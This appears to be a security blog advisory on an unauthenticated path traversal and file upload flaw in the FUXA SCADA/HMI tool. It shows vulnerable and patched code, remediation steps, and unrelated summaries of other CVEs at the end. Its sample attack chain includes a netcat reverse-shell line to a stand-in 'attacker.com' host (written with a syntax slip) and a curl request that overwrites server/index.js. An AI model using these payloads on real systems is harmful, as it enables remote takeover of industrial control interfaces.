Feb 5, 2026·6 min read·24 visits
The FUXA visualization tool contains a critical vulnerability where the `/api/upload` endpoint accepts file writes from unauthenticated users with zero path validation. Attackers can use directory traversal to overwrite server files, granting instant RCE. Patch immediately.
A catastrophic failure in the FUXA SCADA/HMI visualization software allows unauthenticated attackers to write arbitrary files to the server's filesystem. By exploiting a lack of authorization and a path traversal vulnerability in the upload API, threat actors can overwrite application source code or inject malicious scripts, achieving full Remote Code Execution (RCE) on critical industrial control interfaces.
Industrial Control Systems (ICS) and SCADA interfaces are supposed to be the fortresses of the digital world. They control valves, pumps, factory lines, and things that generally shouldn't go "boom." FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) tool built on Node.js, designed to give operators a slick interface to monitor these systems.
But here's the irony: while the backend PLCs speak ancient, robust protocols, the frontend is often modern web spaghetti. GHSA-88qh-cphv-996c represents the worst-case scenario for such a tool. It isn't a complex memory corruption bug requiring heap feng shui. It isn't a subtle cryptographic oracle attack.
It is an open door. Specifically, an API endpoint that essentially says, "Hello stranger, please write whatever bytes you want, to whatever file path you specify, and I will execute them for you." It is a reminder that in the rush to visualize data, security often gets left in the TODO.md file.
The vulnerability resides in the /api/upload endpoint. In a secure application, a file upload handler performs three sacred duties: it checks who you are (Authentication), it checks if you are allowed to upload (Authorization), and it checks where the file is going (Sanitization).
FUXA went for the hat-trick of failure and did none of these. The endpoint was publicly accessible—no JWT, no session cookie, no API key required. If you could reach the port, you were the admin.
However, the real spice lies in the parameter handling. The API accepted a destination parameter in the JSON body. Instead of treating this as a logical label or mapping it to a safe, predefined list, the code fed this string directly into path.resolve.
For those not fluent in Node.js nightmares, path.resolve tries to be helpful by resolving a sequence of paths into an absolute path. If you feed it ../, it helpfully traverses up the directory tree. This allowed attackers to break out of the intended upload sandbox and traverse right into the heart of the application's source code.
Let's look at the code that made this possible. This snippet is from the unpatched version. Notice the elegant simplicity of the catastrophe.
// The Vulnerable Endpoint
prjApp.post('/api/upload', function (req, res) {
const file = req.body.resource;
const destination = req.body.destination;
// The vulnerability: constructing a path based on user input without validation
// If 'destination' is '../../../../', we are writing to the root.
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
// ... code to write 'file' to 'destinationDir' ...
});There is no middleware before the callback. No ensureAuthenticated. Just raw access. The path.resolve function joins the application directory with the user's destination. Because the developer didn't strip .. sequences, the file system becomes a playground.
Now, observe the fix in commit 22c2192f5d9beef8a787c45eff3a14c24dbb5f96. The developer had to apply a tourniquet to the bleeding logic:
// The Patched Endpoint
// 1. Added Authorization Middleware 'secureFnc'
prjApp.post('/api/upload', secureFnc, function (req, res) {
// 2. Explicit Admin Check
const permission = checkGroupsFnc(req);
if (!authJwt.haveAdminPermission(permission)) {
return res.status(401).json({error:"unauthorized_error"});
}
// 3. Path Normalization and Traversal Check
const destination = req.body.destination;
const normalizedDestination = path.normalize(destination).replace(/^([/\\])+/, '');
// Explicitly forbidding '..' segments
const hasTraversal = normalizedDestination.split(path.sep).includes('..');
if (hasTraversal || path.isAbsolute(destination)) {
return res.status(400).json({error:"invalid_destination"});
}
// 4. Sandbox Check
const destinationDir = path.resolve(baseDir, `_${normalizedDestination}`);
if (!destinationDir.startsWith(path.resolve(baseDir))) {
return res.status(400).json({error:"invalid_destination"});
}
// ...
});The patch introduces four layers of defense: authentication middleware, an explicit admin permission check, path normalization to strip weird slashes, and a strict check ensuring the resolved path starts with the intended base directory (Sandboxing 101).
In PHP environments, arbitrary file write often means uploading a .php shell to the webroot. In Node.js, it's slightly different but equally devastating. Since Node.js applications are often long-running processes that load modules, we can achieve RCE by overwriting an existing .js file that the application uses.
Here is a theoretical attack chain a researcher might use:
server/index.js or a specific API route handler are prime candidates.// malicious_payload.js
const require('child_process').exec('nc -e /bin/sh attacker.com 4444');curl -X POST http://TARGET-IP:1881/api/upload \
-H "Content-Type: application/json" \
-d '{
"destination": "../../server/",
"resource": "(content of malicious_payload.js overwriting index.js)",
"fileName": "index.js"
}'The impact of this vulnerability cannot be overstated. We are talking about software used in industrial environments. This isn't just about stealing a database of user emails; it's about gaining control over the interface that monitors physical machinery.
With RCE, an attacker can:
Because the vulnerability is unauthenticated, it is wormable. A script could scan the internet, identify FUXA instances, and automatically infect them, creating a botnet of compromised industrial controllers.
If you are running FUXA, you need to update now. The fix is contained in the commit pushed on January 23, 2026. If you cannot update the software immediately, you must isolate the system network-wise.
Immediate Actions:
22c2192f5d9beef8a787c45eff3a14c24dbb5f96 is included).server/ directory and other critical paths. Compare file creation dates. If index.js was modified recently and you didn't do it, you have a problem.For developers reading this: this is a lesson in Defense in Depth. Never rely on the frontend to protect the backend. Never assume a path string is safe. Always use path.join with strict validation, or better yet, do not allow user-defined paths at all—use generated UUIDs for filenames and store the metadata in a database.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA frangoteam | < 2026-01-23 | Commit 22c2192 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network (HTTP) |
| CVSS Score | 9.8 (Critical) |
| CWE ID | CWE-22 (Path Traversal) |
| Privileges Required | None |
| Impact | Remote Code Execution (RCE) |
| Status | Patched |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.
CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.
CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.
A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.
An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.
CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.